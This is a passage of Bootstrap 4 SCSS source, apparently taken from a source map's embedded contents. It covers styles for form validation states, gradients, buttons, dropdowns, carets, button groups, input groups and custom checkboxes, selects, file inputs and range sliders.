change.\n//\n// Example usage: change the default blue border and shadow to white for better\n// contrast against a dark gray background.\n@mixin form-control-focus() {\n &:focus {\n color: $input-focus-color;\n background-color: $input-focus-bg;\n border-color: $input-focus-border-color;\n outline: 0;\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $input-box-shadow, $input-focus-box-shadow;\n } @else {\n box-shadow: $input-focus-box-shadow;\n }\n }\n}\n\n\n@mixin form-validation-state($state, $color) {\n .#{$state}-feedback {\n display: none;\n width: 100%;\n margin-top: $form-feedback-margin-top;\n font-size: $form-feedback-font-size;\n color: $color;\n }\n\n .#{$state}-tooltip {\n position: absolute;\n top: 100%;\n z-index: 5;\n display: none;\n max-width: 100%; // Contain to parent when possible\n padding: .5rem;\n margin-top: .1rem;\n font-size: .875rem;\n line-height: 1;\n color: $white;\n background-color: rgba($color, .8);\n border-radius: .2rem;\n }\n\n .form-control,\n .custom-select {\n .was-validated &:#{$state},\n &.is-#{$state} {\n border-color: $color;\n\n &:focus {\n border-color: $color;\n box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n }\n }\n\n .form-check-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .form-check-label {\n color: $color;\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n }\n }\n\n .custom-control-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .custom-control-label {\n color: $color;\n\n &::before {\n background-color: lighten($color, 25%);\n }\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n\n &:checked {\n ~ .custom-control-label::before {\n @include gradient-bg(lighten($color, 10%));\n }\n }\n\n &:focus {\n ~ .custom-control-label::before {\n box-shadow: 0 0 0 1px $body-bg, 0 0 0 $input-focus-width rgba($color, .25);\n }\n }\n }\n }\n\n // custom file\n .custom-file-input {\n .was-validated &:#{$state},\n &.is-#{$state} {\n ~ .custom-file-label {\n border-color: $color;\n\n &::before { border-color: inherit; }\n }\n\n ~ .#{$state}-feedback,\n ~ .#{$state}-tooltip {\n display: block;\n }\n\n &:focus {\n ~ .custom-file-label {\n box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n }\n }\n }\n }\n}\n","// Gradients\n\n@mixin gradient-bg($color) {\n @if $enable-gradients {\n background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x;\n } @else {\n background-color: $color;\n }\n}\n\n// Horizontal gradient, from left to right\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-x($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n background-image: linear-gradient(to right, $start-color $start-percent, $end-color $end-percent);\n background-repeat: repeat-x;\n}\n\n// Vertical gradient, from top to bottom\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-y($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent);\n background-repeat: repeat-x;\n}\n\n@mixin gradient-directional($start-color: $gray-700, $end-color: $gray-800, $deg: 45deg) {\n background-image: linear-gradient($deg, $start-color, $end-color);\n background-repeat: repeat-x;\n}\n@mixin gradient-x-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n background-image: linear-gradient(to right, $start-color, $mid-color $color-stop, $end-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-y-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n background-image: linear-gradient($start-color, $mid-color $color-stop, $end-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-radial($inner-color: $gray-700, $outer-color: $gray-800) {\n background-image: radial-gradient(circle, $inner-color, $outer-color);\n background-repeat: no-repeat;\n}\n@mixin gradient-striped($color: rgba($white, .15), $angle: 45deg) {\n background-image: linear-gradient($angle, $color 25%, transparent 25%, transparent 50%, $color 50%, $color 75%, transparent 75%, transparent);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.btn {\n display: inline-block;\n font-weight: $btn-font-weight;\n text-align: center;\n white-space: nowrap;\n vertical-align: middle;\n user-select: none;\n border: $btn-border-width solid transparent;\n @include button-size($btn-padding-y, $btn-padding-x, $font-size-base, $btn-line-height, $btn-border-radius);\n @include transition($btn-transition);\n\n // Share hover and focus styles\n @include hover-focus {\n text-decoration: none;\n }\n\n &:focus,\n &.focus {\n outline: 0;\n box-shadow: $btn-focus-box-shadow;\n }\n\n // Disabled comes first so active can properly restyle\n &.disabled,\n &:disabled {\n opacity: $btn-disabled-opacity;\n @include box-shadow(none);\n }\n\n // Opinionated: add \"hand\" cursor to non-disabled .btn elements\n &:not(:disabled):not(.disabled) {\n cursor: pointer;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active {\n background-image: none;\n @include box-shadow($btn-active-box-shadow);\n\n &:focus {\n @include box-shadow($btn-focus-box-shadow, $btn-active-box-shadow);\n }\n }\n}\n\n// Future-proof disabling of clicks on `<a>` elements\na.btn.disabled,\nfieldset:disabled a.btn {\n pointer-events: none;\n}\n\n\n//\n// Alternate buttons\n//\n\n@each $color, $value in $theme-colors {\n .btn-#{$color} {\n @include button-variant($value, $value);\n }\n}\n\n@each $color, $value in $theme-colors {\n .btn-outline-#{$color} {\n @include button-outline-variant($value);\n }\n}\n\n\n//\n// Link buttons\n//\n\n// Make a button look and behave like a link\n.btn-link {\n font-weight: $font-weight-normal;\n color: $link-color;\n background-color: transparent;\n\n @include hover {\n color: $link-hover-color;\n text-decoration: $link-hover-decoration;\n background-color: transparent;\n border-color: transparent;\n }\n\n &:focus,\n &.focus {\n text-decoration: $link-hover-decoration;\n border-color: transparent;\n box-shadow: none;\n }\n\n &:disabled,\n &.disabled {\n color: $btn-link-disabled-color;\n pointer-events: none;\n }\n\n // No need for an active state here\n}\n\n\n//\n// Button Sizes\n//\n\n.btn-lg {\n @include button-size($btn-padding-y-lg, $btn-padding-x-lg, $font-size-lg, $btn-line-height-lg, $btn-border-radius-lg);\n}\n\n.btn-sm {\n @include button-size($btn-padding-y-sm, $btn-padding-x-sm, $font-size-sm, $btn-line-height-sm, $btn-border-radius-sm);\n}\n\n\n//\n// Block button\n//\n\n.btn-block {\n display: block;\n width: 100%;\n\n // Vertically space out multiple block buttons\n + .btn-block {\n margin-top: $btn-block-spacing-y;\n }\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n@mixin button-variant($background, $border, $hover-background: darken($background, 7.5%), $hover-border: darken($border, 10%), $active-background: darken($background, 10%), $active-border: darken($border, 12.5%)) {\n color: color-yiq($background);\n @include gradient-bg($background);\n border-color: $border;\n @include box-shadow($btn-box-shadow);\n\n @include hover {\n color: color-yiq($hover-background);\n @include gradient-bg($hover-background);\n border-color: $hover-border;\n }\n\n &:focus,\n &.focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $btn-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n }\n }\n\n // Disabled comes first so active can properly restyle\n &.disabled,\n &:disabled {\n color: color-yiq($background);\n background-color: $background;\n border-color: $border;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active,\n .show > &.dropdown-toggle {\n color: color-yiq($active-background);\n background-color: $active-background;\n @if $enable-gradients {\n background-image: none; // Remove the gradient for the pressed/active state\n }\n border-color: $active-border;\n\n &:focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows {\n box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n }\n }\n }\n}\n\n@mixin button-outline-variant($color, $color-hover: color-yiq($color), $active-background: $color, $active-border: $color) {\n color: $color;\n background-color: transparent;\n background-image: none;\n border-color: $color;\n\n &:hover {\n color: $color-hover;\n background-color: $active-background;\n border-color: $active-border;\n }\n\n &:focus,\n &.focus {\n box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n }\n\n &.disabled,\n &:disabled {\n color: $color;\n background-color: transparent;\n }\n\n &:not(:disabled):not(.disabled):active,\n &:not(:disabled):not(.disabled).active,\n .show > &.dropdown-toggle {\n color: color-yiq($active-background);\n background-color: $active-background;\n border-color: $active-border;\n\n &:focus {\n // Avoid using mixin so we can pass custom focus shadow properly\n @if $enable-shadows and $btn-active-box-shadow != none {\n box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($color, .5);\n } @else {\n box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n }\n }\n }\n}\n\n// Button sizes\n@mixin button-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n padding: $padding-y $padding-x;\n font-size: $font-size;\n line-height: $line-height;\n // Manually declare to provide an override to the browser default\n @if $enable-rounded {\n border-radius: $border-radius;\n } @else {\n border-radius: 0;\n }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n.fade {\n @include transition($transition-fade);\n\n &:not(.show) {\n opacity: 0;\n }\n}\n\n.collapse {\n &:not(.show) {\n display: none;\n }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n @include transition($transition-collapse);\n}\n","// The dropdown wrapper (`<div>`)\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n position: relative;\n}\n\n.dropdown-toggle {\n // Generate the caret automatically\n @include caret;\n}\n\n// The dropdown menu\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: $zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: $dropdown-min-width;\n padding: $dropdown-padding-y 0;\n margin: $dropdown-spacer 0 0; // override default ul\n font-size: $font-size-base; // Redeclare because nesting can cause inheritance issues\n color: $body-color;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n list-style: none;\n background-color: $dropdown-bg;\n background-clip: padding-box;\n border: $dropdown-border-width solid $dropdown-border-color;\n @include border-radius($dropdown-border-radius);\n @include box-shadow($dropdown-box-shadow);\n}\n\n.dropdown-menu-right {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n// Just add .dropup after the standard .dropdown class and you're set.\n.dropup {\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-top: 0;\n margin-bottom: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(up);\n }\n}\n\n.dropright {\n .dropdown-menu {\n top: 0;\n right: auto;\n left: 100%;\n margin-top: 0;\n margin-left: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(right);\n &::after {\n vertical-align: 0;\n }\n }\n}\n\n.dropleft {\n .dropdown-menu {\n top: 0;\n right: 100%;\n left: auto;\n margin-top: 0;\n margin-right: $dropdown-spacer;\n }\n\n .dropdown-toggle {\n @include caret(left);\n &::before {\n vertical-align: 0;\n }\n }\n}\n\n// When enabled Popper.js, reset basic dropdown position\n// stylelint-disable no-duplicate-selectors\n.dropdown-menu {\n &[x-placement^=\"top\"],\n &[x-placement^=\"right\"],\n &[x-placement^=\"bottom\"],\n &[x-placement^=\"left\"] {\n right: auto;\n bottom: auto;\n }\n}\n// stylelint-enable no-duplicate-selectors\n\n// Dividers (basically an `<hr>`) within the dropdown\n.dropdown-divider {\n @include nav-divider($dropdown-divider-bg);\n}\n\n// Links, buttons, and more within the dropdown menu\n//\n// `<button>`-specific styles are denoted with `// For <button>s`\n.dropdown-item {\n display: block;\n width: 100%; // For `<button>`s\n padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n clear: both;\n font-weight: $font-weight-normal;\n color: $dropdown-link-color;\n text-align: inherit; // For `<button>`s\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n background-color: transparent; // For `<button>`s\n border: 0; // For `<button>`s\n\n @include hover-focus {\n color: $dropdown-link-hover-color;\n text-decoration: none;\n @include gradient-bg($dropdown-link-hover-bg);\n }\n\n &.active,\n &:active {\n color: $dropdown-link-active-color;\n text-decoration: none;\n @include gradient-bg($dropdown-link-active-bg);\n }\n\n &.disabled,\n &:disabled {\n color: $dropdown-link-disabled-color;\n background-color: transparent;\n // Remove CSS gradients if they're enabled\n @if $enable-gradients {\n background-image: none;\n }\n }\n}\n\n.dropdown-menu.show {\n display: block;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: $dropdown-padding-y $dropdown-item-padding-x;\n margin-bottom: 0; // for use with heading elements\n font-size: $font-size-sm;\n color: $dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Dropdown text\n.dropdown-item-text {\n display: block;\n padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n color: $dropdown-link-color;\n}\n","@mixin caret-down {\n border-top: $caret-width solid;\n border-right: $caret-width solid transparent;\n border-bottom: 0;\n border-left: $caret-width solid transparent;\n}\n\n@mixin caret-up {\n border-top: 0;\n border-right: $caret-width solid transparent;\n border-bottom: $caret-width solid;\n border-left: $caret-width solid transparent;\n}\n\n@mixin caret-right {\n border-top: $caret-width solid transparent;\n border-right: 0;\n border-bottom: $caret-width solid transparent;\n border-left: $caret-width solid;\n}\n\n@mixin caret-left {\n border-top: $caret-width solid transparent;\n border-right: $caret-width solid;\n border-bottom: $caret-width solid transparent;\n}\n\n@mixin caret($direction: down) {\n @if $enable-caret {\n &::after {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: $caret-width * .85;\n vertical-align: $caret-width * .85;\n content: \"\";\n @if $direction == down {\n @include caret-down;\n } @else if $direction == up {\n @include caret-up;\n } @else if $direction == right {\n @include caret-right;\n }\n }\n\n @if $direction == left {\n &::after {\n display: none;\n }\n\n &::before {\n display: inline-block;\n width: 0;\n height: 0;\n margin-right: $caret-width * .85;\n vertical-align: $caret-width * .85;\n content: \"\";\n @include caret-left;\n }\n }\n\n &:empty::after {\n margin-left: 0;\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n@mixin nav-divider($color: $nav-divider-color, $margin-y: $nav-divider-margin-y) {\n height: 0;\n margin: $margin-y 0;\n overflow: hidden;\n border-top: 1px solid $color;\n}\n","// stylelint-disable selector-no-qualifying-type\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-flex;\n vertical-align: middle; // match .btn alignment given font-size hack above\n\n > .btn {\n position: relative;\n flex: 0 1 auto;\n\n // Bring the hover, focused, and \"active\" buttons to the front to overlay\n // the borders properly\n @include hover {\n z-index: 1;\n }\n &:focus,\n &:active,\n &.active {\n z-index: 1;\n }\n }\n\n // Prevent double borders when buttons are next to each other\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -$btn-border-width;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n display: flex;\n flex-wrap: wrap;\n justify-content: flex-start;\n\n .input-group {\n width: auto;\n }\n}\n\n.btn-group {\n > .btn:first-child {\n margin-left: 0;\n }\n\n // Reset rounded corners\n > .btn:not(:last-child):not(.dropdown-toggle),\n > .btn-group:not(:last-child) > .btn {\n @include border-right-radius(0);\n }\n\n > .btn:not(:first-child),\n > .btn-group:not(:first-child) > .btn {\n @include border-left-radius(0);\n }\n}\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-sm > .btn { @extend .btn-sm; }\n.btn-group-lg > .btn { @extend .btn-lg; }\n\n\n//\n// Split button dropdowns\n//\n\n.dropdown-toggle-split {\n padding-right: $btn-padding-x * .75;\n padding-left: $btn-padding-x * .75;\n\n &::after,\n .dropup &::after,\n .dropright &::after {\n margin-left: 0;\n }\n\n .dropleft &::before {\n margin-right: 0;\n }\n}\n\n.btn-sm + .dropdown-toggle-split {\n padding-right: $btn-padding-x-sm * .75;\n padding-left: $btn-padding-x-sm * .75;\n}\n\n.btn-lg + .dropdown-toggle-split {\n padding-right: $btn-padding-x-lg * .75;\n padding-left: $btn-padding-x-lg * .75;\n}\n\n\n// The clickable button for toggling the menu\n// Set the same inset shadow as the :active state\n.btn-group.show .dropdown-toggle {\n @include box-shadow($btn-active-box-shadow);\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n @include box-shadow(none);\n }\n}\n\n\n//\n// Vertical button groups\n//\n\n.btn-group-vertical {\n flex-direction: column;\n align-items: flex-start;\n justify-content: center;\n\n .btn,\n .btn-group {\n width: 100%;\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -$btn-border-width;\n margin-left: 0;\n }\n\n // Reset rounded corners\n > .btn:not(:last-child):not(.dropdown-toggle),\n > .btn-group:not(:last-child) > .btn {\n @include border-bottom-radius(0);\n }\n\n > .btn:not(:first-child),\n > .btn-group:not(:first-child) > .btn {\n @include border-top-radius(0);\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n.btn-group-toggle {\n > .btn,\n > .btn-group > .btn {\n margin-bottom: 0; // Override default `<label>` value\n\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n pointer-events: none;\n }\n }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.input-group {\n position: relative;\n display: flex;\n flex-wrap: wrap; // For form validation feedback\n align-items: stretch;\n width: 100%;\n\n > .form-control,\n > .custom-select,\n > .custom-file {\n position: relative; // For focus state's z-index\n flex: 1 1 auto;\n // Add width 1% and flex-basis auto to ensure that button will not wrap out\n // the column. Applies to IE Edge+ and Firefox. Chrome does not require this.\n width: 1%;\n margin-bottom: 0;\n\n // Bring the \"active\" form control to the top of surrounding elements\n &:focus {\n z-index: 3;\n }\n\n + .form-control,\n + .custom-select,\n + .custom-file {\n margin-left: -$input-border-width;\n }\n }\n\n > .form-control,\n > .custom-select {\n &:not(:last-child) { @include border-right-radius(0); }\n &:not(:first-child) { @include border-left-radius(0); }\n }\n\n // Custom file inputs have more complex markup, thus requiring different\n // border-radius overrides.\n > .custom-file {\n display: flex;\n align-items: center;\n\n &:not(:last-child) .custom-file-label,\n &:not(:last-child) .custom-file-label::after { @include border-right-radius(0); }\n &:not(:first-child) .custom-file-label,\n &:not(:first-child) .custom-file-label::after { @include border-left-radius(0); }\n }\n}\n\n\n// Prepend and append\n//\n// While it requires one extra layer of HTML for each, dedicated prepend and\n// append elements allow us to 1) be less clever, 2) simplify our selectors, and\n// 3) support HTML5 form validation.\n\n.input-group-prepend,\n.input-group-append {\n display: flex;\n\n // Ensure buttons are always above inputs for more visually pleasing borders.\n // This isn't needed for `.input-group-text` since it shares the same border-color\n // as our inputs.\n .btn {\n position: relative;\n z-index: 2;\n }\n\n .btn + .btn,\n .btn + .input-group-text,\n .input-group-text + .input-group-text,\n .input-group-text + .btn {\n margin-left: -$input-border-width;\n }\n}\n\n.input-group-prepend { margin-right: -$input-border-width; }\n.input-group-append { margin-left: -$input-border-width; }\n\n\n// Textual addons\n//\n// Serves as a catch-all element for any text or radio/checkbox input you wish\n// to prepend or append to an input.\n\n.input-group-text {\n display: flex;\n align-items: center;\n padding: $input-padding-y $input-padding-x;\n margin-bottom: 0; // Allow use of <label> elements by overriding our default margin-bottom\n font-size: $font-size-base; // Match inputs\n font-weight: $font-weight-normal;\n line-height: $input-line-height;\n color: $input-group-addon-color;\n text-align: center;\n white-space: nowrap;\n background-color: $input-group-addon-bg;\n border: $input-border-width solid $input-group-addon-border-color;\n @include border-radius($input-border-radius);\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n\n// Sizing\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n @extend .form-control-lg;\n}\n\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n @extend .form-control-sm;\n}\n\n\n// Prepend and append rounded corners\n//\n// These rulesets must come after the sizing ones to properly override sm and lg\n// border-radius values when extending. They're more specific than we'd like\n// with the `.input-group >` part, but without it, we cannot override the sizing.\n\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n @include border-right-radius(0);\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n @include border-left-radius(0);\n}\n","// Embedded icons from Open Iconic.\n// Released under MIT and copyright 2014 Waybury.\n// https://useiconic.com/open\n\n\n// Checkboxes and radios\n//\n// Base class takes care of all the key behavioral aspects.\n\n.custom-control {\n position: relative;\n display: block;\n min-height: (1rem * $line-height-base);\n padding-left: $custom-control-gutter;\n}\n\n.custom-control-inline {\n display: inline-flex;\n margin-right: $custom-control-spacer-x;\n}\n\n.custom-control-input {\n position: absolute;\n z-index: -1; // Put the input behind the label so it doesn't overlay text\n opacity: 0;\n\n &:checked ~ .custom-control-label::before {\n color: $custom-control-indicator-checked-color;\n @include gradient-bg($custom-control-indicator-checked-bg);\n @include box-shadow($custom-control-indicator-checked-box-shadow);\n }\n\n &:focus ~ .custom-control-label::before {\n // the mixin is not used here to make sure there is feedback\n box-shadow: $custom-control-indicator-focus-box-shadow;\n }\n\n &:active ~ .custom-control-label::before {\n color: $custom-control-indicator-active-color;\n background-color: $custom-control-indicator-active-bg;\n @include box-shadow($custom-control-indicator-active-box-shadow);\n }\n\n &:disabled {\n ~ .custom-control-label {\n color: $custom-control-label-disabled-color;\n\n &::before {\n background-color: $custom-control-indicator-disabled-bg;\n }\n }\n }\n}\n\n// Custom control indicators\n//\n// Build the custom controls out of psuedo-elements.\n\n.custom-control-label {\n margin-bottom: 0;\n\n // Background-color and (when enabled) gradient\n &::before {\n position: absolute;\n top: (($line-height-base - $custom-control-indicator-size) / 2);\n left: 0;\n display: block;\n width: $custom-control-indicator-size;\n height: $custom-control-indicator-size;\n pointer-events: none;\n content: \"\";\n user-select: none;\n background-color: $custom-control-indicator-bg;\n @include box-shadow($custom-control-indicator-box-shadow);\n }\n\n // Foreground (icon)\n &::after {\n position: absolute;\n top: (($line-height-base - $custom-control-indicator-size) / 2);\n left: 0;\n display: block;\n width: $custom-control-indicator-size;\n height: $custom-control-indicator-size;\n content: \"\";\n background-repeat: no-repeat;\n background-position: center center;\n background-size: $custom-control-indicator-bg-size;\n }\n}\n\n\n// Checkboxes\n//\n// Tweak just a few things for checkboxes.\n\n.custom-checkbox {\n .custom-control-label::before {\n @include border-radius($custom-checkbox-indicator-border-radius);\n }\n\n .custom-control-input:checked ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-control-indicator-checked-bg);\n }\n &::after {\n background-image: $custom-checkbox-indicator-icon-checked;\n }\n }\n\n .custom-control-input:indeterminate ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-checkbox-indicator-indeterminate-bg);\n @include box-shadow($custom-checkbox-indicator-indeterminate-box-shadow);\n }\n &::after {\n background-image: $custom-checkbox-indicator-icon-indeterminate;\n }\n }\n\n .custom-control-input:disabled {\n &:checked ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n &:indeterminate ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n }\n}\n\n// Radios\n//\n// Tweak just a few things for radios.\n\n.custom-radio {\n .custom-control-label::before {\n border-radius: $custom-radio-indicator-border-radius;\n }\n\n .custom-control-input:checked ~ .custom-control-label {\n &::before {\n @include gradient-bg($custom-control-indicator-checked-bg);\n }\n &::after {\n background-image: $custom-radio-indicator-icon-checked;\n }\n }\n\n .custom-control-input:disabled {\n &:checked ~ .custom-control-label::before {\n background-color: $custom-control-indicator-checked-disabled-bg;\n }\n }\n}\n\n\n// Select\n//\n// Replaces the browser default select with a custom one, mostly pulled from\n// https://primer.github.io/.\n//\n\n.custom-select {\n display: inline-block;\n width: 100%;\n height: $custom-select-height;\n padding: $custom-select-padding-y ($custom-select-padding-x + $custom-select-indicator-padding) $custom-select-padding-y $custom-select-padding-x;\n line-height: $custom-select-line-height;\n color: $custom-select-color;\n vertical-align: middle;\n background: $custom-select-bg $custom-select-indicator no-repeat right $custom-select-padding-x center;\n background-size: $custom-select-bg-size;\n border: $custom-select-border-width solid $custom-select-border-color;\n @if $enable-rounded {\n border-radius: $custom-select-border-radius;\n } @else {\n border-radius: 0;\n }\n appearance: none;\n\n &:focus {\n border-color: $custom-select-focus-border-color;\n outline: 0;\n box-shadow: $custom-select-focus-box-shadow;\n\n &::-ms-value {\n // For visual consistency with other platforms/browsers,\n // suppress the default white text on blue background highlight given to\n // the selected option text when the (still closed) <select> receives focus\n // in IE and (under certain conditions) Edge.\n // See https://github.com/twbs/bootstrap/issues/19398.\n color: $input-color;\n background-color: $input-bg;\n }\n }\n\n &[multiple],\n &[size]:not([size=\"1\"]) {\n height: auto;\n padding-right: $custom-select-padding-x;\n background-image: none;\n }\n\n &:disabled {\n color: $custom-select-disabled-color;\n background-color: $custom-select-disabled-bg;\n }\n\n // Hides the default caret in IE11\n &::-ms-expand {\n opacity: 0;\n }\n}\n\n.custom-select-sm {\n height: $custom-select-height-sm;\n padding-top: $custom-select-padding-y;\n padding-bottom: $custom-select-padding-y;\n font-size: $custom-select-font-size-sm;\n}\n\n.custom-select-lg {\n height: $custom-select-height-lg;\n padding-top: $custom-select-padding-y;\n padding-bottom: $custom-select-padding-y;\n font-size: $custom-select-font-size-lg;\n}\n\n\n// File\n//\n// Custom file input.\n\n.custom-file {\n position: relative;\n display: inline-block;\n width: 100%;\n height: $custom-file-height;\n margin-bottom: 0;\n}\n\n.custom-file-input {\n position: relative;\n z-index: 2;\n width: 100%;\n height: $custom-file-height;\n margin: 0;\n opacity: 0;\n\n &:focus ~ .custom-file-label {\n border-color: $custom-file-focus-border-color;\n box-shadow: $custom-file-focus-box-shadow;\n\n &::after {\n border-color: $custom-file-focus-border-color;\n }\n }\n\n @each $lang, $value in $custom-file-text {\n &:lang(#{$lang}) ~ .custom-file-label::after {\n content: $value;\n }\n }\n}\n\n.custom-file-label {\n position: absolute;\n top: 0;\n right: 0;\n left: 0;\n z-index: 1;\n height: $custom-file-height;\n padding: $custom-file-padding-y $custom-file-padding-x;\n line-height: $custom-file-line-height;\n color: $custom-file-color;\n background-color: $custom-file-bg;\n border: $custom-file-border-width solid $custom-file-border-color;\n @include border-radius($custom-file-border-radius);\n @include box-shadow($custom-file-box-shadow);\n\n &::after {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n z-index: 3;\n display: block;\n height: calc(#{$custom-file-height} - #{$custom-file-border-width} * 2);\n padding: $custom-file-padding-y $custom-file-padding-x;\n line-height: $custom-file-line-height;\n color: $custom-file-button-color;\n content: \"Browse\";\n @include gradient-bg($custom-file-button-bg);\n border-left: $custom-file-border-width solid $custom-file-border-color;\n @include border-radius(0 $custom-file-border-radius $custom-file-border-radius 0);\n }\n}\n\n// Range\n//\n// Style range inputs the same across browsers. Vendor-specific rules for psuedo\n// elements cannot be mixed. As such, there are no shared styles for focus or\n// active states on prefixed selectors.\n\n.custom-range {\n width: 100%;\n padding-left: 0; // Firefox specific\n background-color: transparent;\n appearance: none;\n\n &:focus {\n outline: none;\n }\n\n &::-moz-focus-outer {\n border: 0;\n }\n\n &::-webkit-slider-thumb {\n width: $custom-range-thumb-width;\n height: $custom-range-thumb-height;\n margin-top: -($custom-range-thumb-width * .25); // Webkit specific?\n @include gradient-bg($custom-range-thumb-bg);\n border: $custom-range-thumb-border;\n @include border-radius($custom-range-thumb-border-radius);\n @include box-shadow($custom-range-thumb-box-shadow);\n appearance: none;\n\n &:focus {\n outline: none;\n box-shadow: $custom-range-thumb-focus-box-shadow; // No mixin for focus accessibility\n }\n\n &:active {\n @include gradient-bg($custom-range-thumb-active-bg);\n }\n }\n\n &::-webkit-slider-runnable-track {\n width: $custom-range-track-width;\n height: $custom-range-track-height;\n color: transparent; // Why?\n cursor: $custom-range-track-cursor;\n background-color: $custom-range-track-bg;\n border-color: transparent;\n 